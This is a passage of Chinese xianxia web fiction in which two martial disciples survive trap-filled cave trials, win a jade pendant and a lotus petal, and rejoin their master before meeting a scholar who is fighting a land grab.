想到这,孟归芸便凝神,使出十分精神,眼下师兄那边还不知情况如何,她还是早点出去与师兄汇合的好。
江元郁双手相叠,收功起身,墙上的“冲霄玄功”他已练会,配合着瓷壶里的水,他的境界提升很快,或许很快就能到先天中期了。
想到自己已经跨入先天境三年了,还一直是先天初期,现在终于要有所突破了,江元郁很是高兴,想起来孟归芸:“不知道师妹是不是也得了这个功法。”
随即又叹了口气,孟归芸修炼速度本就超于常人,他这次体验到的飞一般的修炼速度,不会就是她的常态吧?
很快他又高兴起来,师妹将来厉害了,他就不用担心她受伤了啊。
正笑着,刻着功法的墙上也如孟归芸那边一样,出现了一道门,门里走出了一名男子,那男子竟是长得与孟归芸房间都那人一模一样,表情动作也如出一辙,只使出的武功不同。
江元郁猜测这是试炼的一环,毕竟拿了剑还白得一功法岂不是便宜他了。
江元郁感觉的很清楚,此人境界提升和自己一样,如果这是战胜他倒也是容易。结果自己对战的时候一旦施展其他功法,此人的境界就会暴涨一个大境界。
两次之后,江元郁醒悟了,这是要考验自己刚刚新学的功法掌握地如何呢。
一番苦战后,江元郁终于赢了,但他左肩挨了一掌,恐怕骨头已经裂了,小腿也被刺了一剑,正担心之后若是再遇到需要打斗的情况的话,怕是有点吃力。
却见那年轻男子一阵烟儿后直接消失了,他站立的地方却留下了一枚丹药,江元郁略想了片刻,根据之前的情况看,这枚药丸应是那位前辈留下给试炼之人治伤的。
江元郁捡起丹药装入荷包,喃喃道:“师妹在丹药方面更擅长,不如先带上,找到她再让她看一下。”
墙壁此刻如之前一样平整,江元郁回想着之前那人出现的位置,右手按上去灌入元气,那门便又显现了出来,他推了门走了过去,身后那门就自动关上了。
“师兄?”孟归芸的声音从黑暗处传来。
“师妹!”江元郁忙掏出一颗夜明珠,孟归芸已寻着声音过来,夜明珠拿出的一瞬,她的脸笼着柔和的光便出现在了他的眼前。
江元郁忙将她上下看着,又绕着她走了一圈,见她没事,才放下心来。
孟归芸也笑盈盈地看着他:“师兄,我没事的。”
又见他左手一直垂着没动,有些着急地向前一步:“你手怎么了?我帮你检查一下。”
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孟归芸将元气汇入江元郁的左臂处,江元郁放松着,让她的元气游走在自己身体里:“骨头裂了,很疼吧,还好经脉没什么问题。”
她说完便将放在伤处的眼神转向了江元郁的脸,却见他脸上带着傻笑,忍不住怀疑自己的医术造诣是不是不够:“师兄,你中毒了吗?可我方才没在你身体里检查到毒素呢。”
孟归芸又从怀里掏出一枚丹药:“不过没关系,我这里有一颗得来的丹药,品质与师父炼制的上品丹药差不多,应是那位前辈留下的,有很好的修复治疗效果,我掰了一点尝了,没问题。”
江元郁这才敛了一点笑意:“没有没有,师妹,我没中毒,我只是看见你没事很高兴。”其实是看见师妹担心自己很高兴。
孟归芸也弯起了嘴角,手向前一伸:“我见到师兄也很高兴。快把这丹药吃了吧。”
江元郁心跳得有些快,脑中回荡着:“她说她见到我很高兴。”
直到那枚丹药伸到了他眼前,他才反应过来:“对了师妹!你帮我拿一下夜明珠。你看下这枚丹药是不是与你那枚一样。”
孟归芸接过,外观气味元气感知,皆是一样的,保险起见,她还是尝了一点:“嗯,是一样的。”
江元郁听她说了,终于放心把药吃下去了,就地打坐,运功将药炼化并输送到伤处。伤口处开始微微发热,直到骨头完全长好,疼痛才消失了,小腿处那道剑上也已愈合。
然此时还没结束,江元郁竟察觉到自己身体里的元气正快速运转着,不断冲刷着他的经脉,他小心控制着元气不让它们暴走。
良久,江元郁头上已微微出了些汗,孟归芸递了块手帕给他,江元郁接过,手帕在脸上拂过,带着些淡淡的花香味,清新又带点微甜。
孟归芸又运气帮他检查了一下,感叹道:“这丹药果真神奇,不过半个时辰的时间,骨裂竟已完全好了。”
江元郁也被惊讶到:“不仅如此,原本我还差临门一脚就到先天中期,它不仅帮我治好了伤,还帮我积聚元气,让我突破了!我已是先天中期,师妹!你看!”
江元郁说着就托着夜明珠慢慢悬在半空中,夜明珠那柔和的光因被他带了上去,四周被照亮的地方也大了许多,绕着孟归芸转了半圈:“我现在可以御空飞行了!若是我们能回到掉下来的地方,我就能带你飞上去。”
孟归芸被他的兴奋劲儿感染了,眼里笑意更甚:“好,若是我们出去的时候,也有这么一段,就麻烦师兄带我飞上去了。”
江元郁这才落在了地上:“包在我身上!走吧,咱们还得继续闯关,去找找该从哪儿出去。”
这空间还挺大的,但顺着墙边绕了好久,也没见有什么门或口子可以出去,将元气运至墙上也再无半点反应。
两人又开始一寸一寸的寻着地上,试图找到什么线索。
“师兄,你看!”孟归芸突然出声。
22. 寻宝(四)
江元郁转过身来,只见地上居然有一株巴掌大的小草,旁边刻着几个米粒大小的字,将夜明珠凑近,上面写着“我好渴”。
孟归芸和江元郁看着那小草叶片翠绿新鲜,相视一眼忍不住笑出声,孟归芸解下身侧的水袋道:“还好我将那壶里的水灌在了水袋里。”
江元郁笑着道:“我也装了。”
孟归芸将水慢慢倒在小草上,只见那小草抖动叶片,随后开始慢慢向上生长,直长到了夜明珠照不见的地方。
江元郁拽了拽小草,发现它竟十分结实,想来是可以借助它上去,两人决定上去看看。
小草顶端直接嵌入了房顶,房顶四周似有脉络一样的纹路,孟归芸将元气灌入其中,脉络开始发光,整个房间开始变得明亮。
顺着脉络看去,又指向了一个地方,孟归芸刚想与江元郁一起过去,便看见脉络的光息了。
孟归芸便道:“师兄,我来保持它的脉络,你去那边查看吧。”
江元郁点点头,急忙飞了过去,这样子师妹元气消耗不小,他得抓紧时间。
这脉络尽头,刻着一个简单的圆形图案,他试探着按了上去,这圆圈内的墙壁微微陷了下去,紧接着布满房顶的脉络开始迅速往小草汇拢,因元气汇入而亮的光也在随之快速移动,孟归芸担心这么多元气会突然倒灌入体,急忙撤回了手。
这次光并没有消失,而是汇成了一个圆球浮于顶端,那小草原本连接房顶的部分开始迅速萎缩,眼看就要掉下去了,孟归芸急忙伸手将那圆球拿下,江元郁在她落地前,将她接住了。
两人看着这发光的圆球,里面似乎有什么东西,江元郁以元气将其破开,圆球不再发光,只有夜明珠柔和的光线照着,里面是一片拇指大小的莲花花瓣,两人研究了半天也没想出来是做什么的,只能先收下。
再看地上的小草,虽叶子恢复了原样,但根茎却朝着两个方向延伸,两人依次去两个方向查看,但见原本平整的墙面出现了两道一模一样的门,这次门边并无提示语,他们便随意选择了其中一道门进去了。
门外不再是黑暗的空间,通道两侧点有小小的油灯,散发着微弱的光线。
这通道也不再似之前一般顺直,而是几米一个弯道,江元郁让孟归芸先喝一口水恢复一下元气,二人照着之前一样,一前一后的呈防御姿态前进。
前两个弯道十分顺利,但前方的江元郁并不敢掉以轻心,突然,他脚底感觉有细微的动静,随即后方传来金属碰撞的声音,回头一看,是孟归芸挡下来三支射来的箭。
江元郁往脚下一看,却是什么也没有,正当这是普通机关,上方又有破空之声,二人闪躲开,还未来得及喘上一口气,整个通道壁开始源源不断的射出利箭,两人一边快速舞剑抵挡,一边向着前方移动。
这箭雨实在密集,两人一点也不敢松懈,只能全力应对,十分消耗体力,眼见距离下个弯道只有一丈距离,但孟归芸到底不过开窍境,眼下已有些扛不住,江元郁转身将孟归芸护着,道:“师妹,你抓紧我,我带你冲过去。”
“好!”
江元郁剑势更加迅猛,双足一顿,带着孟归芸向着下个弯道而去。
江元郁看着身后消失的箭雨,回想到:“刚才也不知踩中了什么才引发了这箭雨,我往脚下看去的时候什么也没看见。”
孟归芸望了望四周道:“我倒是隐隐有感觉周围有植物的气息。”
江元郁突然想起自己会飞了:“不如我直接带你飞过这通道吧,这样四面都不会接触到。”
孟归芸想了想:“此处应该都是机关,但我想触发条件不一定是接触到某个地方,不如师兄先往前飞一段距离试试?”
江元郁看着她带着些笑意的眼神,明白师妹应该是猜到了些什么,罢了,试试吧。
随即江元郁朝前飞了出去,孟归芸落后几步,用只将将能看到他影子的距离跟着。
“砰!”江元郁像被什么弹了回来,他揉揉额头,对孟归芸说道:“前面有隐形的边界。”
江元郁看着她捂着嘴笑,知道她看自己笑话呢,但很少见师妹这么活泼,有些无奈:“你还笑,你是不是早就知道了。”
孟归芸忙放下手,将嘴角摆正:“没有没有,我只是猜这墙壁四周应该都布满了植物的根茎,是靠它们来感应的,不会让人这么轻易就过去的。”嘴角又不受控制地往上抬了,“我是真没想到这位前辈还不准人飞。”
江元郁只好老老实实下来走了,这次换孟归芸走前面。
孟归芸凝神仔细感受着四周的动静:“师兄小心,它们动了。”
话音刚落,只见前面出现了上百个大小不一的水坑,水坑密密麻麻将地面填满。
孟归芸尝试避开水坑,试探着拿剑探向墙壁,却传来阻力,看来无法通过墙壁跨过,又将剑伸向水坑,没有任何反应,只像一个普通的水坑一样起了些波纹。
又道:“看来只能亲自踩上去试一下了。”
正准备过去,江元郁将她拉向身后:“我来。”
江元郁运起元气,将脚踏向了离他最近的一个水坑,在接触水面的一瞬间,水坑突然钻出十来条藤蔓将他的脚缠住,随即生出密密麻麻的小刺,钻向他的皮肤。
似无数只蚂蚁在向他啃食,“嗯……”江元郁忍不住闷哼一声,想把脚挪回来,藤蔓却将他的脚牢牢拽住。
孟归芸伸剑斩向水坑中的藤蔓,那藤蔓虽被砍断,但又在江元郁元气的滋养下很快愈合了。
“师兄,快收敛元气!”孟归芸见状大喊。
孟归芸将他扶着,江元郁忍痛将元气迅速从脚上收回,果然,得不到元气的藤蔓本想继续向上寻找,却慢慢退了下去,江元郁这才得以撤退。
孟归芸蹲下,将他的裤腿挽起,只见小腿上都是被扎得
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血淋淋的小洞,看得她心里一惊,检查了一下,幸好无毒,将身上带的药粉为江元郁敷上,起身道:“这次我来吧。”
江元郁不同意:“反正我都挨了一次了,不如……”
孟归芸打断他:“师兄,刚才你已经护过我了,现在你又受了伤,让我来,相信我吧。”
江元郁看着她明亮的眸子,点了点头。
孟归芸沉下心来,将周身的元气收拢,将脚踏入水坑,水一点一点将她的鞋子浸/湿,却没有藤蔓出来。
江元郁担忧的眼神变为欣喜:“师妹,可行!”
孟归芸弯着眼点点头,看着江元郁起身再次将脚放进水坑,却仍有藤蔓出来将他缠住,只是再也没有那吸食元气的小刺了。
一时间,两人都有些想不通。
孟归芸仔细回想着刚才的细节,恍然大悟:“师兄,牵着我的手。”
江元郁看着孟归芸伸过来的手,脑袋有些懵:“这是何意?”
孟归芸冲他神秘一笑,弯腰一把将他的手抓住,江元郁感觉脚上一松,低头一看,那些藤蔓竟然又消失了,这才明白,方才藤蔓消失是因为师妹扶住了他。
孟归芸牵着他一步一步地趟过了水坑,再没有任何事情发生,顺利通过了。
江元郁感叹道:“师父说你天生就亲和植物,本以为只是对炼制丹药大有帮助,没想到还能在这儿派上用场。”
他看了一眼孟归芸没有松开他的手,不知道她是不是忘记了,但是他就是不想提醒她。
孟归芸却道:“我也没想到呢,走吧,接下来我也牵着你,看看会不会一直不触发机关。”
原来是这意思,江元郁有些失望,但能这样牵着师妹,他又有些开心。
如孟归芸所料,接下来一直到通道末尾,也没再触发任何机关。
她松开江元郁的手:“不过这里没有门,我们怎么过去呢?”
话音刚落,四周隐藏的根茎突然冒出,细弱的根茎快速长大至男子大/腿一般粗,通道也开始坍塌,二人只好不断的跳跃在各个根茎上躲避坍塌的石块。
很快他们便发现,这根茎竟然也在快速移动,周围环境突变,根茎将他们带到了一个十分开阔的地方。
少许,根茎终于停了下来,两人看见自己站的根茎,只是一棵大树的其中一条根须,这大树粗壮,树身应得十人合抱才能围住,却是已经枯了,枯枝延伸向四方,连半片叶子也无。
放眼四周,只有一个入口处有光照进来,光线不算强烈,但也还能看清,这是一个岩洞,石笋重重叠叠,顶上偶有水滴落下,下方形成了一个小小的湖泊,好不壮观,而大树就在这岩洞的正中间。
两人朝着入口处走去,但根本走不出去,有一道隐形的边界将他们拦住了。又在四周搜寻了许久,并没有什么机关符号之类的,这里面最显眼的就是这棵大树,两人又回到大树旁边。
23. 寻宝(五)
孟归芸不解:“这里有水,为什么它会干枯?干枯了为何还会动呢?是靠术法活着吗?”
“我们就拿瓷壶里的水试试吧。”江元郁道。
孟归芸便将自己水袋里剩下的水浇灌在大树根/部,也许是想错了,大树虽很快将水吸收了,但除此之外并无任何反应。
“应是太少了,这么大的树,需要的元气应该不少,加上我水袋里的应该也于事无补。”江元郁想了想,“不如将那片花瓣拿出来试试。”
孟归芸拿出花瓣,小心地靠近大树根,随着花瓣的距离越近,根茎开始有着细微的抖动。
花瓣则开始发光,从孟归芸手中飞出,慢慢变成一支莲花,花杆嵌入地底,通过莲花源源不断的供给,大树开始焕发生命力,枯枝发芽长出绿叶。
正当二人看得入迷,大树叶子陡然变得尖锐,朝着江元郁射去,江元郁双脚用力,向后撤退,却见孟归芸正在抵抗大树的其中一根根茎。
来不及多想,树枝暴涨,无数枝条化身利剑,冲向了江元郁。
江元郁摆腰躲过,随即挥剑将枝条削去,然而有了元气滋养的大树,依然能很快长出新的枝条向他而来,他飞身往远处退去,枝条紧紧追着。
江元郁回身划出一道凌厉的剑气,将枝条悉数砍断,随即御剑与枝条缠斗,这才有空看向孟归芸。
那根茎久久不能挨到孟归芸,看起来已有些不耐,又抬起几根正朝着孟归芸而去。
孟归芸身形轻盈,总能闪身躲开根茎的缠绕,她尝试去将莲花拿走,那莲花却仿佛生了根一般,怎么也拽不动。
她只能放弃,脚尖一点,向后方空地跃去,找寻着江元郁,两人眼神相接,江元郁一边御剑一边冲她道:“这莲花若拔不起来,咱们得找找别的法子。”
孟归芸脚步轻挪,侧身闪开跟来的根茎:“这大树攻击你,想来当你是敌人,它以根茎缠绕我,想来是将我当同类,想吸食我的元气。”
足尖轻点,孟归芸翻身踏在根茎上,再度旋身退去,并不敢直接以剑砍断,唯恐惹怒了它,引来更强烈的攻击。
“我想到一个法子,还需师兄帮我掩护。既大树当我是同类,想必莲花也不会排斥我,我去将那莲花的元气引至我身体里,大树失去养分自是无力再战,只在这期间,恐怕师兄得承受不少的攻击。”
他要承受攻击,可她那边又谈何容易,以肉身承受能供养整个大树的元气,恐有筋脉受损、甚至爆体而亡的危险。
但现在他们必须互相信任,江元郁飞身而来,忍住对她的担心:“师妹你尽管去,剩下的交给我。”
孟归芸再次来到莲花旁,望向师兄,江元郁站在她身侧,双剑如游龙般抵御着扑面而来的树枝和根茎。
孟归芸盘腿而坐,这次的攻击再不似之前留有余地,他们也必须全力以赴,双手捏诀,将心神沉到地下,感受着莲花的元气释放,将它们引来。
察觉到元气缺失的大树,抖动树身,树叶间摩/擦着发出来刺耳的声音,树枝张狂着向她刺来。
江元郁双手相叠,元气在周身围绕,双剑速度更快,挥出一片光影,树枝不断的掉落,又不断的生长。
身旁的孟归芸同大树抢着元气,为了断掉给大树的供养,她必须加快速度,气海和已开的窍穴就快要盛满,但她不能停下来。
江元郁看见孟归芸的青筋已微微鼓起,怕是要到极限了,他脸色一沉,飞舞的剑发出铮鸣,似在回应他,而此时的大树已感应到供养自己的元气所剩无几,铺天盖地的攻击朝着他们而来。
树枝和根茎齐齐对准他们,一时间被包裹的地方极速暗了下来,双剑的速度已到江元郁的极致,嗖嗖的破空声不断传来。
大树发了疯一般的刺来,双剑已无法完全抵挡,江元郁抽出孟归芸身后的剑,砍掉长/枪般的树枝。
又有几支穿过双剑间隙的树枝迅猛地朝着孟归芸而去,江元郁左跨一步,挥剑斩断,却不及躲开身后的攻击,树枝刺穿了他的肚子。
尝到血腥的大树将所有攻击都指向了江元郁,他来不及关注伤口,也来不及关注大树已有部分树叶变黄,只不断地防御着,避免孟归芸受到伤害。
孟归芸这会儿筋脉已快承受不住,一阵血腥气钻入她的鼻腔,她心里一紧,是师兄受伤了。
她快速的思考着,莲花绝大部分的元气都被她引走,大树全靠之前吸收的元气,此时的养分定已不多,她紧抿了嘴唇,下定了决心。
江元郁不停不休地战斗了许久,元气和体力已有些不支,再加上受了伤,早已不如之前灵活,这会儿又被树枝刺伤了右手小臂,手快握不住剑了。
他持剑的右手正在颤/抖,却依然站在孟归芸面前,没让她被大树伤到一点。
“噗”树枝穿透了他的大腿,他膝盖一弯,就要跪下,却强撑着挥着剑。
正待持剑抵挡眼前的这根尖刺般的树枝,却发现它停下了,从后方一段一段地向前断枯萎,最终掉在了地上。
江元郁猛地转身看向大树,只见它不仅开始枯萎,正化作灰烬一点一点的消失,原先被砍掉的枝叶根茎也在消失。
他欣喜地看向孟归芸,却见孟归芸瘫倒在地,七窍都在流血,身上已固不住元气,浓郁的元气正从她身体里一点一点的散向周围。
江元郁只觉得自己心脏都要停了,一瞬间脑子里什么想法都涌了上来,他软跪在地上,用元气探入她的身体,她体内元气混乱,气海和窍穴均已出现裂痕,好在心脏没有受损。
突然想起她身上还有密室的那颗丹药,慌张又小心地从她的荷包里拿了出来,抖着手喂进了她的嘴里,又赶忙将她上身轻轻扶起,靠在自己身上,把自己水袋里的水也慢慢地喂了进去。
也不知等了多久,江元郁只呆呆地望着她,时不时用元气探一下她
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身体的情况。
孟归芸只觉得有温热的东西从她脸上滑落,眼睛睁不开,想抬手擦掉脸上的东西也抬不起来。
她看不见也听不见,只能感觉有人给她嘴里喂了东西,她靠在一个人温暖的怀里。
肯定是师兄,她想。
那枚丹药果然是极品丹药,她能感觉到身体被一点一点的修复,身体里的元气也开始稳定下来。
“师兄,你别哭了,我没死。”
江元郁看着她半睁着眼睛,似有些支撑不住,立刻又闭上了,忙又用元气检查她的身体,感觉到她已经开始控制体内的元气,这才放下心来。
江元郁没理她的胡言乱语,他才没哭呢,只温声道:“你刚醒,别说话,再休息会儿。”
说完话这才发现身上好疼啊,看着身上的血,才想起自己受伤了,还好下意识用元气护住了伤口,否则师妹醒来,发现他又倒了,倒叫她担心。
孟归芸察觉到江元郁在她身侧的荷包里找什么东西,想起之前闻到的血腥味:“草绿色瓶子里是回春丹。”
说罢,孟归芸又睁开眼睛,头微微偏向江元郁,瞧见他身上衣服被血沾染了大半,知道他也伤得不清。
江元郁正吞了丹药准备运气疗伤,身上又传来孟归芸的动静,低头便看见她准备起身,忙将她按住:“快躺下,不耽误我疗伤。”
“我没事了师兄,我感觉脸上有东西,想去洗个脸,你先疗伤吧。”
看她脸色已好了许多,江元郁便没再阻止她。
孟归芸这才起了身,只见那大树已然消失不见,周围也无半点残枝碎叶,只剩那株莲花还在原地开放,而大树原来那位置上出现了一个小小的木制盒子。
她走过去将盒子拿起来,闻见这木头飘来一股淡淡的甘甜香味,是沉香做的盒子。
盒子上面挂着一把锁,看这锁上的图案,与之前池塘里的那把钥匙图案一模一样,孟归芸将钥匙掏出来探入锁芯。
“咔哒”一声,果然开了,打开盒子,里面躺着一对通体白润的双鱼玉佩,两只玉佩头尾相连,十分灵动,仿佛正在互相追逐,合起来则为圆形,且相连处严丝合缝,又可为一块玉佩。
她将木盒盖上,放在江元郁面前,又去小湖泊边将脸擦洗干净,回来坐在江元郁身后,开始引入莲花的元气,将元气缓慢地输送给江元郁,两人一起打坐,恢复体力和元气。
约二刻钟后,两人终于结束运功,江元郁肚子上的洞并其他伤也基本好了,只那伤处被岩洞里的风吹着有些凉凉的,低头一看自己衣服破破烂烂的,露着肚子和大/腿,颇有些滑稽。
江元郁视线一挪,又看见面前摆放着一个木盒,方才自己运功前,面前明明只有孟归芸,奇道:“这木盒子哪儿的?”
孟归芸从他身后移到旁边:“那大树消失的地方留下的,这里面是一对双鱼玉佩,但我不知道它有何用处。”
24. 寻宝(六)
江元郁打开盒子看着这对玉佩:“我也没见过,出去了问问师父吧,走吧,我们看看那个入口能不能通过了。”
“师兄等等,我看看这莲花能带走吗。”
孟归芸把手伸向莲花,这次竟然轻而易举地就将它拔起来了,莲花闪过一道柔和的光,变回了一片莲花花瓣的样子。
孟归芸笑笑,便跟着江元郁走到了那个洞口,那隐形的边界上慢慢浮现一个人影,随着人影渐渐清晰,他们发现这人就是密室出现的年轻男子。
男子面带微笑:“既已看到这段留影,不管你们选择了哪条路,都说明各位已通过考验,但脚下的路还很长,愿各位不管遇到何种困难,都不要停下脚步。”
“此去提衡霄汉上,鹏抟鲲运更论程。”
随着最后两句话说出,男子的身影也慢慢淡去,孟归芸与江元郁弯腰拱手对这位前辈行了礼,接着相视一眼,畅通无阻地走了出去。
只见两人站在悬崖崖壁上的一处约三尺宽的平台上,仔细望去,这悬崖壁上竟还有其他的平台和小洞。
而悬崖对面是一眼无边的广袤天空,层叠起伏的群山,茂密的森林。
江元郁正在想如何开口才显得没有那么刻意,他要带孟归芸飞上去。
此时平台旁的一株小草,摇摇叶片开始向上攀爬了去,孟归芸笑着看了江元郁一眼,眼中含有期待:“走吧,师兄,我们可以见到莲夏和师父了。”
江元郁也回了她一个笑:“好。”只是这笑容在孟归芸上去的时候,瞬间垮了下来,这位前辈未免也太周到了些。
孟归芸刚上来,却见莲夏与宏安早已等在这里。
“小姐!”莲夏一看见孟归芸就扑了过来,还不忘把她往回拉拉,别再掉下去了,“身上怎么弄成这样了啊?哪儿受伤了?!快快,宏安道长,快给我家小姐看看!”
江元郁一上来就看见莲夏哭得满脸泪水,嘴巴裂得老大,拉着孟归芸往宏安那儿走,孟归芸则是一脸笑意地任她拉着,任凭莲夏忽略她嘴里的“我没事”,也依然笑盈盈的。
宏安元气汇聚成丝环绕在孟归芸周身,满意地点了点头:“不错,大有长进。”这气海和筋脉居然壮大了不少,这可是大机缘,以后这小徒弟不仅是修炼速度快了,这基础也比他人扎实许多倍。
莲夏还是不放心:“没啥事儿吧?”
宏安哈哈了两声,这丫头:“放心吧,好得很。”
莲夏这才注意到跟在后面的江元郁,眼睛都瞪大了,破破烂烂像乞丐一样的衣服,套在一个修长健硕的身体上,怎么看怎么违和,随即又撇开眼睛:“哎呀,江公子!您身上怎么成这样了,快让宏安道长也替您看看。”
江元郁看着莲夏的反应,这才回过味来,当初师妹看他这样,一点害羞避嫌的表情都没有,一开始可以说是关心他伤势没注意,这伤口好了也没见她看自己的时候有任何异样。
这是真的只把他当师兄啊。
宏安眼见着大徒弟脸色不对,以为还有暗伤,急忙替他检查了一番。心里就明白了,身体没啥大问题,还有一点没修复完全,这两天再给他配点丹药也就好了,功力也涨了不少,只能是伤心了。
宏安把江元郁的包袱递给他:“你俩先去找个地方把衣服换了吧。”两人衣服上都沾满了干掉的血迹,知道他们这次定是受了好些苦,不过两人都有不同程度的长进,且看背着的两把剑也不是凡品,还是有不少收获的。
莲夏也忙拿起包袱带着孟归芸到一块大石后面去了,一边与孟归芸说着体己话:“小姐,你知不知道你们掉下去都六天了,我每天都很担心你,自我来到你身边,我还从来没与你分开这么久过呢。”
孟归芸摸/摸她的头:“谢谢莲夏,知道你担心我,我在下面可努力了,就想早点上来见你。”
莲夏羞得小脸一红,小姐现在说话太直接了,不过她觉得这样很好。
两人换完衣服回来,江元郁将沉香盒子递给了宏安:“师父,这是用那钥匙打开的盒子,里面是一对双鱼玉佩,您看看。”
宏安有些感兴趣,拿起来细细看着:“没想到你们竟能得到此物,相传这双鱼玉佩乃是千年前一位修仙者为他的道侣所打造,除了可以温神养神,这玉佩还是一个可千里传音的法宝。”
现在虽然可以通过玉简符文一类的留音,但要实时传音却也不容易,现如今的天地元气已不足以再锻造这样的宝贝。
宏安将玉佩又递还给江元郁:“既是你们二人寻到的,也是你们的机缘,戴着吧。”
“师父,您再看看此物,也是从里面寻得的。”孟归芸将那枚莲花花瓣递给宏安。
宏安接过的一瞬间,元气还未探入,便已感受到这花瓣内所蕴含的元气之多,眼神一亮,随即又闭上双眼小心感受着。
花瓣内的元气不仅多,还十分纯净,已远远不是现在这个世界的元气所能比的。
“若我没猜错,这花瓣便是你筋脉和气海壮大的原因。”宏安开口对孟归芸道。
“师父猜的是。”
江元郁想起来就心疼,忍不住道:“师妹这是以命换来的,当时情况紧急,她与下面的大树抢夺这花瓣的元气……”
眼瞧着莲夏望着自己,又要哭了,孟归芸打断了他,拍了拍莲夏抓着她衣袖的手,冲她笑着:“这不是因祸得福了,我如今不仅没事,还得了好处,谢谢师兄念着我,不过师兄也只有羡慕我的份儿了。”
江元郁闷闷地闭了嘴,宏安拍了拍江元郁的肩膀:“机缘伴随着危险也在所难免,我相信这前辈定是为弟子留了后手的。不管是为师或是设计这历练图的前辈,都是希望你们从中有所收获,为师也知道你们这次受了磨难,辛苦了。”
孟归芸认真地听着宏安的这番话,江元郁也鼻头一酸:“师父……”
宏安拒绝了他的煽/情,转头对孟归芸说:“这花瓣许是认了主,我驱使不动它,或许它
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还有别的用处,就待你自己去发掘吧,以后你便靠着它修炼,定能如虎添翼。”
“认主?”孟归芸有些疑惑,她不知道这花瓣是什么时候认的主,接过来,心念一动,这花瓣果然变成了一株莲花。
孟归芸眼睛微微睁大,随即想到什么又笑了起来,三人见她掰下了三片花瓣,挨个放在了他们手上:“这样我们都有啦,你们先试试能不能用,能用的话我再给你们分。”
三人都有些震惊,还能这样?
被摘了花瓣的莲花抖了抖剩下的花瓣,孟归芸察觉到莲花在表达不开心,摸了摸它以示安抚:“好好好,不摘了。”
莲花又变成了花瓣,静静地躺在孟归芸手里,她有些不好意思撤回自己说的话:“抱歉啊,它不想让我摘了。”
江元郁疑惑:“它能跟你说话?”
“不能,我只是隐约有那么些感觉。”
“莲夏,你需得等成功引气后,再使用它辅助修炼,你现在的身体使用的话恐承受不住。”宏安叮嘱道。
莲夏点点头,问道:“接下来我们怎么走?”
宏安将地图掏出,顺着这路线一定能走出去:“走这边。”
之前的马儿早在进山之前就卖掉了,一行人又徒步了四五天才从历练的地方走了出来,找到了最近的城镇买了马,才又悠闲地四处游荡。
石门县县衙外,两名衙役正拦着一名书生:“我说彭秀才啊,跟你说了,这几天知县不在,出门公干了。”
这名被称作彭秀才的书生身形瘦弱,衣衫整洁,但是细看的话还是能看到几处补丁。
彭秀才双脚一次次迈进县衙,又被两名衙役架出来。情急之下,彭秀才双手扒拉着门框,着急的说道:“知县出门了,我还能找县丞啊。”
衙役苦着个脸,石门县众所周知,这彭秀才学问好、人品好,但就是太执拗,太爱管闲事了。大多数的读书人考上秀才之后,都会努力攻读,准备乡试。可这彭秀才却放下读书的事儿,三天两头来县衙为民请命,知县被他弄得很是头疼。
“算我求你了彭秀才,这牛老爷占了铁河沟村上的田,跟你也没什么关系,你何必来趟这趟浑水啊?”
“更何况我听说牛老爷还打算每月出五两银子,请你去他府上教他小儿子启蒙,这什么意思你还不明白么?”
“我当然明白他是什么意思!我辈读书人,能够启蒙幼童,乃是本分。即使他不给我银两,只要他那小儿子愿意学,我便一定会教!”
“但现下,他哪是想我教他儿子!分明是想用银钱堵住我的嘴!”
“这天下事,本不该这样。耕田乃是百姓立身之根基,他牛府已经有了上万亩的田地,为何还要对铁河沟村上的田紧咬着不放?贴河沟本就是我们县上最穷最苦的村子,那些老乡再失了田地,他们怎么活!”
“所以这件事,我彭某人一定会管。县上不管,我便去府上。府上不管,我便告到布政司处。”
25. 铁河沟村(一)
“彭秀才,我二人敬你为人,但今天属实不能放你进去,得罪了。”两名衙役虽然被彭秀才的话语震撼,但仍然还是将他阻在门外。
彭秀才被耗费了一番体力,也心知今天是进不了这县衙,更别说找到知县或者县丞了,于是转身离开了县衙,向着城门处走去。
他家在南城门外十里处的彭家村,还得走上大半天呢,要不是为了铁河沟的事儿,又怎会耽搁半日来回这县城。
孟归芸四人趁着天还没黑,赶向了附近的一个县城,已隐约能看见城门口写着“石门县”。
孟归芸只听后方一声马儿嘶鸣,伴随着一声痛呼,回头一看,原是莲夏的马不小心踩到人了。
这会儿正是赶着进出城的时候,来来往往的行人听见动静都往这边看来。
莲夏赶紧下马去看,一瞅这人弱不禁风的,再看他捂着腿一副吃痛的模样,连连道歉:“对不住对不住,这位公子,你还好吧?”
彭秀才一边捂着腿痛得直吸气,一边伸/出一只手摆手道:“不怪你,是我自己走路没注意,被石头绊了脚才突然往你这边的,马也来不及反应。”
“这位公子,毕竟是我们的马伤了你,请让我们带你进城看一下大夫。”孟归芸出言道。
彭秀才缓了缓,抽了几口气,这才有空抬眸看这几人,气质不凡,彭秀才第一反应便是这个。
但目光很快就聚在方才说话的女子身上,肤若白玉,明眸朱唇,身着一件浅粉色对襟短衫,并一件暖白色马面裙,更衬得她粉面桃花,不由得多看了一秒。
立马又反应过来,自己这样未免太失礼了,挪开眼神:“不敢不敢,是我自己的问题,两位姑娘不必在意。”又看了一眼城门,“你们是要进城吧,再晚就要关城门了,你们快进去吧。”
“哎呀,这不是彭秀才吗!”一位大婶儿认出了他,“你这腿都成这样了,还怎么回去啊,这可不能拖,得赶紧治啊!”
周围人听见大婶儿的话,知道受伤的是彭秀才,纷纷过来关心,但他只说是自己不小心。
江元郁接过话:“公子这伤我们确有责任,你要回家也不方便,不如随我们进城,看了大夫就先住在城里,你放心,费用都由我们承担。”
江元郁看见他刚才望着孟归芸的眼神了,心里有些吃味。
彭秀才见这几人执意要对他负责,恐怕不让他们治疗,他们心里也过意不去,再者现下引来这么多人看着,不让这几人给他先治一下,也要麻烦乡亲们把他背回去了。
乡亲们虽然热心,大多都是来县城买卖货物的,身上包裹扁担一/大堆,还要带着他实在不方便,便答应了。
彭秀才转头对那大婶儿说道:“还望王婶儿帮家里带个信,就说我在县城里有事耽搁了,过几天再回去。”
又拱手对周围人说道:“还请各位乡亲帮我个忙,千万别说我受伤了,我怕他们担心。”
众人纷纷应了,江元郁将彭秀才放在了马上,牵着他进了城,按照彭秀才的指路到了医馆。
裤腿掀起,彭秀才的小腿中部已肿了起来,又青又紫的,莲夏被这景象一惊,心里越发愧疚,孟归芸在旁边拍拍她的手,示意她安心。
大夫检查后说虽然骨头只伤了一点有点开裂,但伤口处入肉极深,要用木板固定伤腿,让他最近一个月还是卧床休养的好。又开了些活血生肌的药,嘱咐彭秀才按时服用,孟归芸等人谢过大夫后,带着彭秀才一同去了客栈。
孟归芸见他一路情绪都十分低落,又想起大家都叫他秀才,如今距离八月初九的乡试只有一月有余,更何况到武昌府还要个五天左右,这次受伤怕是耽误了他的功课,更可能耽误他去参加乡试。
